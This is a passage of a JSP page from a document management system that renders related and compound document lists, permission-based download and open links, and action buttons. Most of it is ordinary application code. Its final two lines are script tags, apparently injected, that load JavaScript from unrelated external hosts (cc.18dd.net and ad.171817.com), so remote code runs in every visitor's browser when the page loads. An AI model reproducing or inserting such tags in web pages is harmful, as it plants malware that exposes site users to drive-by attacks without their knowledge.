                    relatedPermission = relatedPermission.substring(0, idx) + "R"+ relatedPermission.substring(idx+1);
                  }else if ((idx = relatedPermission.indexOf("R"))==-1) {
                    relatedPermission = "R" + relatedPermission;
                  }else {
                  }
                }

                DmsDocument relatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
                String relatedExt = TextUtility.getExtension(relatedDocument.getDocumentName());
                String reItemStatus = relatedDocument.getItemStatus();
                Integer checkoutUserID = new Integer("0");
                if (DmsVersion.EXCLUSIVE_LOCK.equals(reItemStatus)) {
                  checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(relatedDocument.getCheckoutID());
                  checkoutUserID = checkoutHistory.getCheckoutPersonID();
                }
              DmsRoot relatedDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(relatedDocument.getID());
              %>

            <tr id="tr<%=((AbstractBaseObject)relatedDocument).getID()%>" class="listContent<%=j%2%>">
            <script language="JavaScript">
              <!--
            relatedDocIDArray[relatedDocIDArray.length]="<%=((AbstractBaseObject)relatedDocument).getID()%>";
            -->
            </script>
            <%
            if ((relatedPermission != null && relatedPermission.indexOf("R") < 0)) {

                %>
                <script language="JavaScript">
                <!--
                notAllowRelatedDownLoadIDAry[notAllowRelatedDownLoadIDAry.length] = "<%=((AbstractBaseObject)relatedDocument).getID()%>";
                //-->
                </script>
              <%}%>

                <%if(!DmsDocument.PAPER_DOC_TYPE.equals(dmsDocument.getDocumentType())){%><td>
                  <%if(!DmsDocument.DOCUMENT_LINK.equals(relatedDocument.getDocumentType()) && !DmsVersion.ARCHIVED_STATUS.equals(relatedDocument.getItemStatus())){ //Update By Jim.Zhou       2006/08/10  Bug #5992 %>
                 <input type="checkbox" name="basicSelectedID_<%=j%>" value="<%=((AbstractBaseObject)relatedDocument).getID()%> " onClick="checkSelectAllNone();">
                  <%}else{%>
              <input type="checkbox" name="basicSelectedID_<%=j%>" value="" disabled="true">
              <%}%></td>
              <td>
              <% if ((relatedPermission != null && relatedPermission.indexOf("R") < 0)) { %>
              	<html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
                <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
              <% }else{  %>
                <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)relatedDocument).getID()%>&isDownload=Y&version=TOP&ext=.<%=relatedExt%>"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
                <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
                <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)relatedDocument).getID()%>&version=TOP&ext=.<%=relatedExt%>" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
              <% } %>
               </td>
              <%}else{%><td>
                <input type="checkbox" name="basicSelectedID_<%=j%>" value="" disabled="true">
              </td><td>
                  <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
                  <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
              </td>
                <%}%>
              <td>
              <dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/>
              </td>
              <td nowrap>
                <html:img src='IconDMSRelationshipActive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)relationshipObj).getDescription()%>'/>
                 -
                <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)relationshipObj).getRelationshipType()%>" textOnly='true'>
                    <html:options dbListName='dmsDocumentRelationshipList'/>
                </html:select>
              </td>
             <td>
             &nbsp;
             <nobr><dms:documentInfo docObject='<%=relatedDocument%>' recordStatus='<%=relatedDocument.getRecordStatus()%>' permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr>
            </td>
            <td>
              <dms:locationPath parentID="<%=((DmsDocument)relatedDocument).getParentID()%>" rootID="<%=((DmsDocument)relatedDocument).getRootID()%>" permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/>
            </td>
              <td class="bodyVerySmall"><%=((DmsDocument)relatedDocument).getCreatorName()%></td>
            </tr>
            <%}%>
            <%if(!Utility.isEmpty(IndirectRelationDocumentList) && !Utility.isEmpty(DocRelationList)){%>
            <tr>
              <td colspan="6" height="20"></td>
            </tr>
            <%}%>
            <%for(int j=0;j<IndirectRelationDocumentList.size();j++){
                MtmDocumentRelationship indirectRelationshipObj = (MtmDocumentRelationship)IndirectRelationDocumentList.get(j);
                DmsDocument indirectRelatedDocument = docRetrievalManager.getDocument(indirectRelationshipObj.getRelatedDocumentID());
                String indirectRelatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, indirectRelatedDocument.getID());

                if (isInvitation) {
                  if (indirectRelatedPermission==null) indirectRelatedPermission = "";
                  int idx = 0;
                  if ((idx = indirectRelatedPermission.indexOf("r"))!=-1) {
                    indirectRelatedPermission = indirectRelatedPermission.substring(0, idx) + "R"+ indirectRelatedPermission.substring(idx+1);
                  }else if ((idx = indirectRelatedPermission.indexOf("R"))==-1) {
                    indirectRelatedPermission = "R" + indirectRelatedPermission;
                  }else {
                  }
                }

                DmsDocument indirectRelatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(indirectRelatedDocument.getRootID());
                String inItemStatus =((DmsDocument)indirectRelatedDocument).getItemStatus();
                Integer inCheckoutUserID = new Integer("0");
                if (DmsVersion.EXCLUSIVE_LOCK.equals(inItemStatus)) {
                  checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(indirectRelatedDocument.getCheckoutID());
                  inCheckoutUserID = checkoutHistory.getCheckoutPersonID();
                }
              DmsRoot indirectRelationDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(indirectRelatedDocument.getID());
            %>
            <script language="JavaScript"> indirectRelationDocIDArray[indirectRelationDocIDArray.length]="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
            </script>
            <%if ((indirectRelatedPermission != null && indirectRelatedPermission.indexOf("R") < 0)) {
                %>
                <script language="JavaScript">
                <!--
                notAllowIndirectRelationDownLoadIDAry[notAllowIndirectRelationDownLoadIDAry.length] = "<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
                //-->
                </script>
              <%}%>
            <tr id="tr<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>" class="listContent<%=j%2%>">

                  <%if(!DmsDocument.PAPER_DOC_TYPE.equals(((DmsDocument)indirectRelatedDocument).getDocumentType())){%>
              <td>
              <%if(!DmsDocument.DOCUMENT_LINK.equals(indirectRelatedDocument.getDocumentType()) && !DmsVersion.ARCHIVED_STATUS.equals(indirectRelatedDocument.getItemStatus())){  //Update By Jim.Zhou      2006/08/10  Bug #5992%>
                 <input type="checkbox" name="basicSelectedID<%=j%>" value="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%> " onClick="checkSelectAllNone();">
                  <%}else{%>
              <input type="checkbox" name="basicSelectedID<%=j%>" value="" disabled="true">
              <%}%>
              </td><td>
                  <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&isDownload=Y&version=TOP"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
                  <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
                  <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&version=TOP" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a></td>
                  <%}else{%>
              <td>
                    <input type="checkbox" name="basicSelectedID<%=j%>" value="" disabled="true">
              </td><td>
                <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
                    <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
                    <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
              </td>
                  <%}%>

              <td>
              &nbsp;
              <nobr><dms:documentInfo docObject='<%=indirectRelatedDocument%>' recordStatus='<%=indirectRelatedDocument.getRecordStatus()%>' permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr></td>
              <td  nowrap>
                <html:img src='IconDMSRelationshipPassive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)indirectRelationshipObj).getDescription()%>'/>
                 -
                <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)indirectRelationshipObj).getRelationshipType()%>" textOnly='true'>
                    <html:options dbListName='dmsDocumentRelationshipList'/>
                </html:select>
              </td>
            <td>
               <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>
            </td>
            <td>
              <dms:locationPath parentID="<%=((DmsDocument)indirectRelatedDocument).getParentID()%>" rootID="<%=((DmsDocument)indirectRelatedDocument).getRootID()%>" permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/>
            </td>

              <td class="bodyVerySmall"><%=((DmsDocument)indirectRelatedDocument).getCreatorName()%></td>
            </tr>
            <%}%>

            </table>
            </div>
          <%
             } //end if
          %>
          <!--Document relationship end-->

          <!--Compound Document begin -->
          <% if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {
                DmsDocument childDocument = new DmsDocument();
          %>
        <table width="100%" cellpadding="0" cellspacing="0">
        <layout:sectionHeader name='dms.label.included_document_list' mandatory='false' blackLine='false' />
        </table>
        <layout:listBar>
            <div class="button">
            </div>
            </layout:listBar>
          <div id="listContainer">
          <div id="dataGrid" class="listTable">
            <table width="100%" cellpadding="0" cellspacing="0">
            <tr>
              <!-- Table Column Header Begin -->
              <th><div class="firstsep"></div></th>
              <th><div class="sep"><bean:message key="dms.label.name_D"/></div></th>
              <th><div class="sep"><bean:message key="dms.columnheader.item_size"/></div></th>
              <th><div class="sep"><bean:message key="common.columnheader.update_date"/></div></th>
              <th><div class="sep"><bean:message key="common.columnheader.updater"/></div></th>
              <th><div class="sep"><bean:message key= "dms.columnheader.item_status"/></div></th>
              <!-- Table Column Header End -->
              </tr>
              <%for (int k=0;k < CompoundDocList.size(); k++) {
                  childDocument = (DmsDocument)CompoundDocList.get(k);
                  String childPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, childDocument.getID());
				  if( DmsDocument.DOCUMENT_LINK.equals(childDocument.getDocumentType()) ) {
				    DmsDocument  childTargetDocument = docRetrievalManager.getRelationshipTargetDocument(childDocument.getID(),DmsDocument.DOCUMENT_LINK);
				  	childPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, childTargetDocument.getID());
				  }

                  if (isInvitation) {
                    if (childPermission==null) childPermission = "";
                    int idx = 0;
                    if ((idx = childPermission.indexOf("r"))!=-1) {
                      childPermission = childPermission.substring(0, idx) + "R"+ childPermission.substring(idx+1);
                    }else if ((idx = childPermission.indexOf("R"))==-1) {
                      childPermission = "R" + childPermission;
                    }else {
                    }
                  }

                  DmsDocument childRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(childDocument.getRootID());
                  String childDocItemStatus = ((DmsDocument) childDocument).getItemStatus();
                  Integer childCheckoutUserID = new Integer("0");
                  if (DmsVersion.EXCLUSIVE_LOCK.equals(childDocItemStatus)) {
                    checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(childDocument.getCheckoutID());
                    childCheckoutUserID = checkoutHistory.getCheckoutPersonID();
                  }
              %>
              <tr id="tr<%=((AbstractBaseObject)childDocument).getID()%>" class="listContent<%=k%2%>">
                <td width="32">
                  <nobr>
                  <%if(!DmsVersion.ARCHIVED_STATUS.equals(dmsDocument.getItemStatus()) && childPermission.indexOf("R")!= -1){%>
                  <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)childDocument).getID()%>&isDownload=Y&version=TOP"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
                  <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
                  <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)childDocument).getID()%>&version=TOP" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
                  <%}else{%>
                  <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
                  <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
                  <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
                  <%}%>
                  </nobr>
                </td>
                <td>
               &nbsp;
                    <nobr><dms:documentInfo docObject='<%=(DmsDocument)childDocument%>' permission='<%=childPermission%>' rootDocument='<%=childRoot%>'  indexFlag="ChildDocIndexFlag"/></nobr></td>
                <td align="center" nowrap>
                <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) {
                    int itemSize = ((DmsDocument) childDocument).getItemSize().intValue();
                    out.println(TextUtility.formatFileSize(itemSize));
                  } else {%>
                    <%=GlobalConstant.EMPTY_FIELD%>
                  <%}%>
              </td>
                <%SimpleDateFormat sdf = new SimpleDateFormat(TextUtility.getDateTimeFormat().toPattern());

                %>
                <td class="bodyVerySmall" nowrap><%=sdf.format(childDocument.getUpdateDate())%></td>
                <td class="bodyVerySmall"><%=((DmsDocument) childDocument).getUpdaterName()%></td>


                <td align="center" class="bodyVerySmall" nowrap>
              <%if (!DmsVersion.ARCHIVED_STATUS.equals(childDocItemStatus)) { %>
                <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) { %>
                  <%if (childDocItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
                      String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID); %>
                      <html:img src="IconDMSLock.gif"   align="absmiddle"/>
                  <%} else if (childDocItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
                  <%} else {%>
                      <%if (permission.indexOf("T")>=0){%>
                      <%}else{%>
                      <%}%>
                  <%}%>
                <%} else {%>
                  <%=GlobalConstant.EMPTY_FIELD%>
                <%}%>
              <%} else {%>

              <%}%>
              </td>


                </tr>
              <%}//end for%>
            </table>
            </div>
          </div>
          <%} //end if%>
          <!--Compound Document end -->
    </div>
</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
<% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
              <html:standardButton label="dms.label.open" disable="true"/>
            <%if(showDownload){%>
              <html:standardButton label="dms.label.download" disable="true"/>
            <%}%>
              <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus()) || DmsVersion.ARCHIVED_STATUS.equals(targetDoc.getItemStatus()))){//Update By Jim.Zhou        2006/08/10  Bug #5992%>
              <html:standardButton label="dms.label.open" disable="true"/>
            <%if(showDownload){%>
              <html:standardButton label="dms.label.download" disable="true"/>
            <%}%>
              <%}else{%>
                <%if (!Utility.isEmpty(permission) && permission.indexOf("R")>=0){//Update By Jim Zhou              2007/01/09          EIP-1292%>
                  <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
                  <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&ext=."+sExt%>' target="_blank"/>
                  <%if(showDownload){%>
                    <html:standardButton label="dms.label.download" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&isDownload=Y&ext=."+sExt%>'/>
                    <%}%>
                  <%}%>
                  <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
                       <%if(showDownload){%>
                <html:standardButton label="dms.label.downloadall" link='<%=contextPath+"/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentForm.ID}&version="+sVersion+"&isDownload=Y&ext=."+sExt%>'/>
                       <%}%>
                  <%}%>
                <%}else{%>
                  <html:standardButton label="dms.label.open" disable="true"/>
                      <%if(showDownload){%>
                <html:standardButton label="dms.label.download" disable="true"/>
                      <%}%>
                  <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
                <%if(showDownload){%>
                      <html:standardButton label="dms.label.downloadall" disable="true"/>
                <%}%>
                  <%}%>
                 <%}%>
              <%}%>
<html:standardButton label="common.label.close" onClick="return CancelInvitationShow()"/>
    </div>
</div>
</html:form>

<!--new document invitation-->
<script language='javascript'>
<!--

  function clipbordInvite(docID){
    try{
        var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
        var ni = document.createElement("iFrame");
        ni.setAttribute("src",url);
        ni.setAttribute("scrolling","yes");
        ni.setAttribute("frameborder","no");
        ni.setAttribute("width","100%");
        ni.setAttribute("height","100%");
        ni.setAttribute("id","ifram1");
        document.getElementById("NewDocumentInvitation").appendChild(ni);
        document.getElementById("NewDocumentInvitation").style["display"]="";

        var loadFrame = document.getElementById("NewDocumentInvitation");

        loadFrame.style.width="780";
        loadFrame.style.height = "600";
        loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
        loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
        DimBackgroud(null,false);
    }catch(e){}

  }
//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>